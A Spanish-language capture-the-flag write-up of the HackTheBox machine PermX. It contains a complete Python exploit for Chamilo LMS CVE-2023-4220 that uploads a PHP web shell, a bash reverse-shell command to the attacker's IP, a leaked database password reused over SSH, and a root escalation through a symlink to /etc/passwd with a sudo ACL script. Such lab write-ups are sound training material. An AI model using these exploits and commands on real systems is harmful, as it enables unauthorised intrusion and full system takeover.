write up permX HTB

“PermX” es una máquina de dificultad fácil de la plataforma HackTheBox. Somos capaces de encontrar que la máquina víctima está corriendo un servidor web, y albergando un sitio mediante vhosting corriendo Chamilo LMS el cual es vulnerable a Remote Code Execution (CVE-2023-4220). Esto nos permite ganar acceso inicial a la máquina víctima. Somos entonces capaces de obtener credenciales para un usuario dentro de ésta las cuales se encontraban en unos archivos de configuración. Pivoteando a este nuevo usuario, podemos ver que éste puede ejecutar un script personalizado como root. Este script nos permite, mediante un enlace simbólico, editar archivos sensibles del sistema como /etc/passwd; lo cual nos permite cambiar/borrar la contraseña del usuario root y tomar control de éste.

lo primero como siempre los escaneos de nmap:

nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allports

nmap -sVC -p80,22 10.10.11.23 -oN ports

en el output de este ultimo vemos que hay un dominio llamado permx.htb por lo que devemos añadirlo al /etc/hosts:

vale vamos a hacer un whatweb para ver algo mas de informacion de la pagina antes de entrar

whatweb 10.10.11.23

http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], RedirectLocation[http://permx.htb], Title[302 Found]
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

no hay mucha info aparte de un email

vamos a proceder a entar a la web

vemos que es una web de classes o educacion. de por si no veo nada interesante por lo que vamos a enumerar directorios con gobustes

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://permx.htb -t 30 --add-slash

no vemos nada interesante por lo que voy a enumerar subdominios:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 40 -fw 18 --mc=200

vemos que hay dos www y lms por o que las añadimos al etc/hosts

si vamos a http://www.permx.htb nos sale lo mismo que llendo sin el www pero si vamos a http://lms.permx.htb nos sale un panel de inicio de sesion

si nos ponemos a investigar un poco descubriremos que hay un CVE reciente para este servicio CVE-2023-4220.

investigando mas e encontrado este exploit en python para el CVE:


#!/usr/bin/python3
import requests
import argparse
from sys import exit as sysexit
from os import remove as osremove


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description='Process some flags.')
    
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help='URL running Chamilo LMS. Example: http://example-target.com', required=True)
    parser.add_argument('-c', '--command', type=str, help='System command to run in the victim target', required=True)
    parser.add_argument('-f', '--filename', type=str, help='PHP filename/payload to upload to the target. Default: poc.php', default='poc.php')
    # Return parsed arguments
    return parser.parse_args()


def create_payload(args:argparse.Namespace)->None:
    # Create and write the file that contains the payload
    php_code = f'<?php system("{args.command}"); ?>'
    with open(args.filename, 'w') as file:
        file.write(php_code)
    print(f"[+] Creating the PHP file/payload with the command {args.command!r}...")
    return


def upload_payload(args: argparse.Namespace)->None:
    # Set the url to attack
    upload_url: str = f'{args.url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
    print("[+] Attempting to upload the payload...")
    with open(args.filename, 'rb') as file:
        files = {'bigUploadFile': file}
        try:
            response = requests.post(upload_url, files=files)
        except Exception as err:
            print(f"[-] Something happened when attempting to load the payload:\n{err}")
            sysexit(1)
    if response.status_code != 200:
        print(f"[-] Bad status code in POST request: HTTP Status Code {response.status_code}")
        sysexit(1)
    print(f"[+] Server response:\n{response.text}")
    return


def get_payload(args: argparse.Namespace)->None:
    # Set the url where the file should be uploaded
    access_url = f'{args.url}/main/inc/lib/javascript/bigupload/files/{args.filename}'
    print("[+] Attempting to get the content of the uploaded file...")
    try:
        # Access the uploaded file
        response = requests.get(access_url)
    except Exception as err:
        print(f"[-] Something happened:\n{err}")
        sysexit(1)
    # Print the response from the access request
    print(f"[+] Uploaded file content:\n{response.text}")
    return


def main()->None:
    # Get argument from the user
    args = parse_arguments()
    print(f"[+] Attacking {args.url!r}...")
    # Create the file/payload
    create_payload(args)
    try:
        # Upload the payload
        upload_payload(args)
        # Get the content of the payload
        get_payload(args)
    finally:
        # Remove the file/payload we have created
        osremove(args.filename)

if __name__ == "__main__":
    main()

lo guardamos y nos ponemos en escucha

nc -nlvp 9001 

y ejecutamos el exploit:

python3 CVE.py -u http://lms.permx.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.16.89/9001 0>&1'"

vale estamos dentro

una vez dentro vamos a subir la herramienta linpeas para buscar si hay datos

python3 -m http.server 8000
wget http://10.10.16.89/linpeas.sh -O /tmp/linpeas.sh

le damos permiso de ejecucion:

chmod +x /tmp/linpeas.sh

y ejecutamos

vemos lo siguiente

╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php:        'wget_password' => '',
/var/www/chamilo/app/config/configuration.php:    'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;

vemos una credencial y aparte si vamos al directorio home vemos un usuario

vamos a probar si son validas para este usuario

netexec ssh 10.10.11.23 -u 'mtz' -p '03F6lY3uXAP2bkW8'

y si por lo que podemos hacer un pash the hash para haceder

sshpass -p '03F6lY3uXAP2bkW8' ssh -o stricthostkeychecking=no mtz@10.10.11.23

escalado de privilegios

si hacemos

sudo -l

vemos que tenemos acceso a un archivo .sh Este es un script en Bash el cual es usado para definir listas de control de acceso (ACLs) para un archivo específico a un usuario específico. Basados en GTFOBins, tal cual se explica aquí, podemos usar setfacl para asignar permisos a archivos sensibles del sistema.

Sin embargo, el script tiene 2 restricciones:

  1. El archivo debe de estar localizado dentro del directorio /home/mtz.
  2. El archivo no puede tener .. en su nombre. Por lo que intentar un Directory Traversal no es una opción factible.

Luego de pensarlo un poco, podemos crear un link simbólico a un archivo del sistema. Por ejemplo crear un link simbólico a /etc/passwd y localizarlo en el directorio /home/mtz:

mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd_copy

Luego, ejecutamos el script con sudo:

mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd_copy

No obtuvimos errores. Quizás esto funcionó.

Si esto ha funcionado, ahora deberíamos de ser capaces de editar el archivo /etc/passwd. Podemos usar un editor de texto como nano o vi (ambos disponibles en la máquina víctima) para editar este archivo simplemente ejecutando nano /home/mtz/passwd_copy o nano /etc/passwd y cambiando solamente la línea:

root:x:0:0:root:/root:/bin/bash

a

root::0:0:root:/root:/bin/bash